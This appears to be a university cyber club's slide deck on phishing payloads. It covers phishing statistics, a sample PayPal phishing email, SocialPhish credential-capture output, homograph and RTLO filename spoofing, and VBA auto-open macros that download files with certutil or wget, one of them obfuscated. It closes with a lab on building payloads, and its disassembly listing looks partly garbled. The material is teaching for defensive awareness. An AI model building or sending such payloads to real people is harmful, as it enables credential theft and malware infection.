

Welcome to the Club

CCDC

CTF this weekend




Icebreaker

One Word Story

One PicoCTF Problem

PHISHING PAYLOADS

By Andrew Bernal



Listing: lab1

```
*lab1 X
080491c4 83 ec 58 SUB ESP,0x58
080491c7 e8 64 f5 ff CALL __x86.get_pc_thunk.bx
080491cc 81 c3 34 2e 00 00 ADD EBX,0x2e34
080491d2 c7 45 e4 01 00 00 MOV dword ptr [EBP + -0x1c]>=local_24
080491d9 d8 fd fd ff CALL o_e95618e9ef0153aec196c2b8be06cd3
080491de 89 45 e0 MOV dword ptr [EBP + -0x20]>=local_28
080491e1 7d e0 00 CMP dword ptr [EBP + -0x20]>=local_28
080491e5 75 0f JNZ LAB_080491f6
080491e7 d8 fd ff ff CALL o_eac7ee31b97333a4c592cab9436fe34d
080491ec d8 fd ff ff MOV EAX,0xffffffff
080491f1 e9 71 01 00 JMP LAB_08049367

LAB_080491f6
080491f6 e8 f4 fe ff ff CALL XREF[1]:
080491fb 89 45 dc MOV dword ptr [EBP + -0x24]>=local_2c
080491fe 83 ec 0c SUB ESP,0xc
08049201 ff 75 dc PUSH dword ptr [EBP + -0x24]>=local_2c
08049204 e8 04 ff ff ff CALL o_e52964b3ae0fb3e7feffcb9fd7a112
08049209 83 c4 10 ADD ESP,0x10
0804920c 89 45 d8 MOV dword ptr [EBP + -0x28]>=local_30
0804920f 83 ec 08 SUB ESP,0x8
08049212 ff 75 d8 PUSH dword ptr [EBP + -0x28]>=local_30
08049215 8d 45 a4 LEA EAX=>local_64, [EBP + -0x5c]
08049218 50 PUSH EAX
08049219 e8 f2 f3 ff ff CALL strcpy
0804921e 83 c4 10 ADD ESP,0x10
08049221 8d 45 a4 LEA EAX=>local_64, [EBP + -0x5c]
08049224 b9 ff ff ff ff CMP uVar2, 0xffffffff
08049229 89 c2 MOV EAX, 0
0804922b b8 00 00 00 00 MOV byte ptr [EBP + -0x28]>=local_30, 0
08049230 89 d7 MOV EAX, 0
08049232 f2 ae SCASB
08049234 89 c8 MOV EAX, 0
08049236 fd 08 MOV EAX, 0
08049238 8d 50 ff MOV EAX, 0
0804923b 8d 45 a4 LEA EAX=>local_64, [EBP + -0x5c]
0804923e 01 d0 CMP EAX, 0
08049240 c7 00 3a 09 30 00 MOV byte ptr [EBP + -0x28]>=local_30, 0
08049246 eb 59 JMP LAB_08049248

LAB_08049248
08049248 83 ec 08 SUB ESP,0x8
0804924b ff 75 d8 MOV dword ptr [EBP + -0x28]>=local_30, 0
0804924e 8d 45 b4 LEA EAX=>local_54, [EBP + -0x4c]
08049251 50 PUSH EAX
08049252 e8 39 f3 ff ff CALL strstr
08049257 83 c4 10 ADD ESP,0x10
0804925a 89 45 d4 MOV dword ptr [EBP + -0x2c]>=local_34, 0
0804925d 83 7d d4 00 CMP dword ptr [EBP + -0x2c]>=local_34, 0
08049261 7a 3a JZ LAB_0804929d
08049263 83 ec 08 SUB ESP,0x8
08049266 8d 45 a4 LEA EAX=>local_64, [EBP + -0x5c]
08049269 50 PUSH EAX
0804926a 8d 45 b4 LEA EAX=>local_54, [EBP + -0x4c]
0804926d 50 PUSH EAX
0804926e 1d fd ff ff CALL strstr
08049273 83 c4 10 ADD ESP,0x10
08049276 85 c0 TEST EAX,EAX
08049278 7a 11 JP LAB_080492bb
0804927a 83 ec 08 SUB ESP,0x8
0804927d 8d 45 d4 LEA EAX, [EBX + 0xffffffff]>=STR_0804927d
08049283 50 PUSH EAX
08049284 8d 45 ff LEA EAX, [EBX + 0xffffffff]>=STR_08049284
```

Decompiler Find Text

Find:

Format


☒ String

☐ Regular Expression


Next Previous Dismiss

Decompile: main (lab1)

```
1 /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
2
3 undefined4 main(void)
4 {
5     char cVar1;
6     undefined4 uVar2;
7     char *pcVar3;
8     __uid_t _uid;
9     __uid_t _ruid;
10    int iVar5;
11    uint uVar5;
12    bool in_F;
13    byte bVar6;
14    undefined4 auStack101 [4];
15    char local_54 [32];
16    char *local_34;
17    char *local_30;
18    undefined4 local_2c;
19    FILE *local_28;
20    int local_24;
21    undefined *local_18;
22
23    bVar6 = 0;
24    local_18 = &stack0x00000004;
25    local_24 = 1;
26    local_28 = (FILE *)o_e95618e9ef0153aec196c2b8be06cd31();
27    if (local_28 == (FILE *)0x0) {
28        o_eac7ee31b97333a4c592cab9436fe34d();
29        uVar2 = 0xffffffff;
30    }
31    else {
32        local_2c = o_d326ea772c7adcc860d0ce31ed01abb();
33        local_30 = (char *)o_e52964b3ae0fb3e7feffcb9fd7a112(local_2c);
34        strcpy((char *)((int)auStack101 + 1), local_30);
35        uVar5 = 0xffffffff;
36        pcVar3 = (char *)((int)auStack101 + 1);
37        do {
38            if (uVar5 == 0) break;
39            uVar5 = uVar5 - 1;
40            cVar1 = *pcVar3;
41            pcVar3 = pcVar3 + (uint)bVar6 * -2 + 1;
42        } while (cVar1 != '\0');
43        *(undefined4 *)((int)auStack101 + ~uVar5) = 0x30093a;
44        while (pcVar3 = fgets(local_54, 0x20, local_28), pcVar3 != (char *)0x0) {
45            local_34 = strstr(local_54, local_30);
46            if (local_34 != (char *)0x0) {
47                strstr(local_54, (char *)((int)auStack101 + 1));
48                if (!in_F) {
49                    /* this is a pre comment */
50                    printf("\n%s\n", "You've been very naughty! Event has been flagged.");
51                    return 0xffffffff;
52                }
53                break;
54            }
55            local_24 = local_24 + 1;
56        }
57        fclose(local_28);
58        _uid = geteuid();
59        _ruid = geteuid();
60        setreuid(_uid, _uid);
61        setbuf(stdout, (char *)0x0, 2, 0);
62        setbuf(stdin, (char *)0x0, 2, 0);
63        prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
64        iVar4 = prctl(PR_SET_SECCOMP, 2, 6pp_filter);
65    }
```



Switch off
my computer
and lose all these tabs
in my browser?
There's no way
I'm doing that.



ATTACKS OVER TIME




Figure 26. Patterns over time in breaches

PROFITABLE

Amount lost to phishing and BEC scams per year

■ Phishing ■ BEC/EACs




Chart: Comparitech • Source: IC3 • [Get the data](#) • Created with Datawrapper

EFFECTIVE


In total, 84% of survey respondents said that their organization had experienced at least one successful email-based phishing attack during 2022. And 54% said that they had dealt with three or more attacks.

Prevalence of Attacks



Notably, 44% of working adults in our survey said that they think an email is safe when it contains familiar branding. And Microsoft isn't the only brand experiencing regular abuse, with Amazon (6.5 million messages), DocuSign (3.6 million messages), Google (2.6 million messages), DHL (2 million messages) and Adobe (1.5 million messages) all regularly impersonated.

Cyber Attack Messages that Involved Brand Abuse in 2022



EXAMPLE PHISHING EMAIL

[PayPal]: Your account access has been limited

Team Support services@paypal-accounts.com
to me



Dear PayPal customer,

Your PayPal account is limited, You have 24 hours to solve the problem or your account will be permanetly disabled.

We are sorry to inform you that you no longer have access to PayPal's advantages like purchasing, and sending and receiving money.

Why is my PayPal account limited?

We believe that your account is in danger from unauthorized users.

What can I do to resolve the problem?

You have to confirm all of your account details on our secured server by clicking the link below and following the steps.

Confirm Your Information



service@paypal.com <service@paypal.com>

to me

Hello, Andrew Bernal



Don't forget to confirm your email

Remember, with PayPal, you can shop securely, send money to family and friends, donate to charity and do so much more. You're almost there. By confirming your email address, you let us know you're the rightful owner of this account.

Confirm My Email



[Help & Contact](#) | [Security](#) | [Apps](#)



FAKE WEBSITES WITH SOCIALPHISH

```
[*] Choose an option: 9

[01] Serveo.net (SSH Tunelling, Best!)
[02] Ngrok

[*] Choose a Port Forwarding option:
[*] Choose a Port (Default: 3333 ):
[*] Starting php server ...
[*] Starting server ...


[*] Send the direct link to target: https://pipio.serveo.net

[*] Or using tinyurl: Error

[*] Waiting victim open the link ...

[*] IP Found!
[*] Victim IP: 129.63.197.27
[*] User-Agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
[*] Saved: paypal/saved.ip.txt

[*] Waiting credentials ...
```



HOMOGRAPHIC ATTACKS - ASCII

neccdl.org/

neccdl.org/

Capital i and lowercase L

l l

Other examples:

0 vs O

rn vs m

n vs m

i vs j

1 vs l

WHICH IS REAL?

<https://login.microsoftonline.com/>

<https://login.microsoftonline.com/>

APPie.com



appie.com



Web Page Blocked

Access to this web site has been denied due to University Information Security Policy. If you feel this is in error, please contact the IT Service Desk at x44357 for further assistance.

User: student\andrew_bernal

URL: appie.com/

Category: malware

HOMOGRAPHIC ATTACKS - UNICODE

Cyrillic, Greek, Armenian, and more

Cyrillic Keyboard

A0	A1	A2	A3	A4	A5	A6	A7	A8	A9	AA	AB	AC	AD	AE	AF
	Ъ	Ґ	Ё	Е	Ѕ	І	Ї	Ј	Љ	Њ	Ћ	Ќ	–	Ў	Ҫ
B0	№	Ъ	Ґ	Ё	Е	Ѕ	І	Ї	Ј	Љ	Њ	Ћ	Ќ	Җ	Ҫ
C0	Ю	А	Б	Ц	Д	Е	Ф	Г	Х	И	Й	К	Л	М	Н
D0	П	Я	Р	С	Т	У	Ж	В	Ь	Ы	Э	Ш	Щ	Ч	Ъ
E0	Ю	А	Б	Ц	Д	Е	Ф	Г	Х	И	Й	К	Л	М	Н
F0	П	Я	Р	С	Т	У	Ж	В	Ь	Ы	Э	Ш	Щ	Ч	Ъ

SPELLING epic.com WITH CYRILLIC

Here is what the real epic.com looks like in Chrome:

Secure <https://www.epic.com>

Here is our fake epic.com in Chrome:

Secure <https://www.epic.com>

PUNYCODE: SOLVING HOMOGRAPHS

Unicode



www.날씨.co.kr

Punycode



www.xn--i20bj30b.co.kr

ACE ✓

날씨


ASCII



www.xn--i20bj30b.co.kr

MACROS

Visual Basic for Applications (VBA)



POSSIBLE MACROS

LibreOffice getting a shell:

```
Sub DownloadFile
  Shell["wget https://example.com/file.zip -O /path/to/save/file.zip"]
End Sub
```

Word getting a shell

(cmd, not powershell):


```
Sub AutoOpen()
  Dim Command As String
  Dim TempFolder As String

  ' Get the path of the temp folder
  TempFolder = Environ$("temp")


  ' Define the command to download the file
  Command = "cmd /c certutil -urlcache -split -f ""http://example.com/file.txt"" " & TempFolder & "\file.txt""

  ' Run the command
  Call Shell(Command, vbHide)
End Sub
```



LOCKY RANSOMWARE 1



LOCKY RANSOMWARE 2



OBFUSCATING VBA




```
3 Private JxSnuMpWLDF As Boolean
4 Private jkMXnvUMDDDoX(((0 Xor 0)+(0 Xor 0)) To ((0 Xor 6)+57)) As Byte
5 Private BIlIuAbEZg(((0 Xor 0)+0) To ((59 Xor 109)+(0 Xor 41))) As Byte
6 Sub Auto_Open()
7 Dim YADrpMDyOhYcJ As String
8 Dim idMXgIFZENMr As String
9 YADrpMDyOhYcJ = sxhiZVYyUzynM(Array((97 Xor 23),((74 Xor 222)+(9 Xor 46)),(190 Xor 84),(138+60),(79 Xor 0),-
  (22+(14 Xor 30)),((0 Xor 2)+40),(80+(0 Xor 3)),164,((168 Xor 1)+81),(3+59),143,(230 Xor 14),(99 Xor 162),-
  160,(78 Xor 18),229,242,(8 Xor 61),(7+27),((52 Xor 15)+69),(169 Xor 0),(149 Xor 2),((9 Xor 17)+(14 Xor
  28)),47,((2 Xor 14)+32),(12+(9 Xor 22)),((58 Xor 110)+(5 Xor 0)),(5 Xor 196),((42 Xor 26)+156),(16+105),-
  (133+(1 Xor 10)),60,((53 Xor 14)+122),((77 Xor 3)+(4 Xor 0)),(212+22), _
10 ((25 Xor 2)+50),(67+(8 Xor 61)),(7 Xor 99),(2+72),16,((3 Xor 6)+(8 Xor 6)),(10 Xor 35),((1 Xor 0)+18),245,-
  ((14 Xor 0)+0),76,144,((52 Xor 176)+(2 Xor 7)),(169+30),(49+(131 Xor 54)),((73 Xor 165)+(3 Xor 4)),(20 Xor
  13),(72+(26 Xor 57)),(5+68),((52 Xor 0)+15),(116 Xor 189),(96+(33 Xor 117)),(44+97),(0 Xor 2),(180 Xor
  107),(166+25),(42+16),78,0,(3+(69 Xor 63)),((47 Xor 20)+(66 Xor 198)),(58+84),(90+(28 Xor 61)),(129+(10
  Xor 1)),40,((8 Xor 1)+15),(15+109),(10+54),(0 Xor 26),203,198,(7+(9 Xor 27)), _
11 105,(45+60),(4 Xor 85),(200+(5 Xor 3)),(154+(31 Xor 52)),(72+183),(79+133),((21 Xor 67)+51),(143 Xor 93),-
  (15 Xor 63),(156 Xor 115),(26+105)),((0 Xor 0)+0)) & sxhiZVYyUzynM(Array((34 Xor 245),(7+(2 Xor 5)), -
  (122+(4 Xor 95)),(78+(73 Xor 60)),188,(38+(0 Xor 3)),(64+(42 Xor 140)),(0+(8 Xor 4)),(57+128),((1 Xor
  19)+(1 Xor 3)),(2+(0 Xor 1)),(11+(7 Xor 12)),(4 Xor 63),((18 Xor 53)+7),(133+(13 Xor 80)),(74 Xor 61),11,-
  ((57 Xor 77)+61),(90 Xor 241)),(55+35))
12 Shell (YADrpMDyOhYcJ)
13 End Sub
14 Sub AutoOpen()
15 Auto_Open
```

exe FILES

Very suspicious

Can make exe have any icon

How to make less suspicious?



.SCR FILES

Screensaver

Same as an exe

Offset (h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F	Decoded text
00000000	4D	5A	90	00	03	00	00	00	04	00	00	00	FF	FF	00	00	MZ.....ÿÿ..
00000010	B8	00	00	00	00	00	00	00	40	00	B0	00	00	00	00	00	,.....0.0.....
00000020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
00000030	00	00	00	00	00	00	00	00	00	00	00	00	80	00	00	00€...
00000040	0E	1F	BA	0E	00	B4	09	CD	21	B8	01	4C	CD	21	54	68	..°..'í!;.Lí!Th
00000050	69	73	20	70	72	6F	67	72	61	6D	20	63	61	6E	6E	6F	is program cannot
00000060	74	20	62	65	20	72	75	6E	20	69	6E	20	44	4F	53	20	be run in DOS
00000070	6D	6F	64	65	2E	0D	0D	0A	24	00	00	00	00	00	00	00	mode....\$......
00000080	50	45	00	00	4C	01	11	00	65	03	FE	64	00	72	10	00	PE..L...e.pd.r..
00000090	27	51	00	00	EO	00	07	01	0B	01	02	1C	00	F4	09	00	'Q..à.....ô..
000000A0	00	4E	0E	00	00	0C	00	00	00	13	00	00	00	10	00	00	.N.....

RTL0 CHARACTER

Right to Left Override


لا تقاوم يا أحمق! ... ما الذي تمنحك إياه لحظات أخرى من العيش مع الأغيار؟ .. ما الذي لم تحققه في سنواتك العشرين السابقة وتتوي أن تحققه لو ظللت حيًا؟ ... فرارك هذا لا يختلف عن فرار الصرصور على جدار مطبخ، أو أميبا تنزلق تحت عدسة مجهر ... صرخة غريزة لا أكثر .. إنه تفاعل النحاشي الذي زرعه الطبيعة فيك، وعليك أن تتعلم كيف تهمله كي تظفر براحة استحققتها...

انطلقت الرشاشات فنظر لأعلى .. نعم .. هذه الطلقات من أجلك أنت ..

ترسم ذلك الخط الطويل على الرمال .. الخط الذي يمر بك أنت ...

RTL CHARACTER BLOCKED BY DISCORD

Discord doesn't respect bidirectional text overrides. #1193



mikeshardmind opened this issue on Nov 19, 2019 · 15 comments



night commented on Nov 19, 2019

Contributor ...

We intentionally do not permit the right-to-left override unicode character, and this functionality will not likely be restored. We removed it originally due to social engineering behavior we were seeing, and the character is not necessary for right-to-left messages to be formed. As the documentation you linked even states:


The following characters allow the bidirectional character types to be overridden when required for special cases, such as for part numbers. **They are to be avoided wherever possible, because of security concerns.**



PUTTING IT ALL TOGETHER

watcher_1.<RTLO Character>fdp.scr

becomes:

 watcher_1.rcs.pdf	9/8/2023 3:59 PM	Screen saver	2,081 KB
---	------------------	--------------	----------

.LNK FILES



Location: powershell (C:\Windows\System32\WindowsPowerShell\v1.0)

LAB: MAKING PHISHING PAYLOADS

Go to https://umlcyber.club/posts/meeting_1

Or https://github.com/UML-Cyber-Security/Fall_2023/blob/main/Meeting_1_Phishing_Payloads/lab_1.md

If you want, send me an email at phishing.victim.uml@gmail.com and I will open them

Use Google, Bing Chat, ChatGPT to help you. They are useful tools.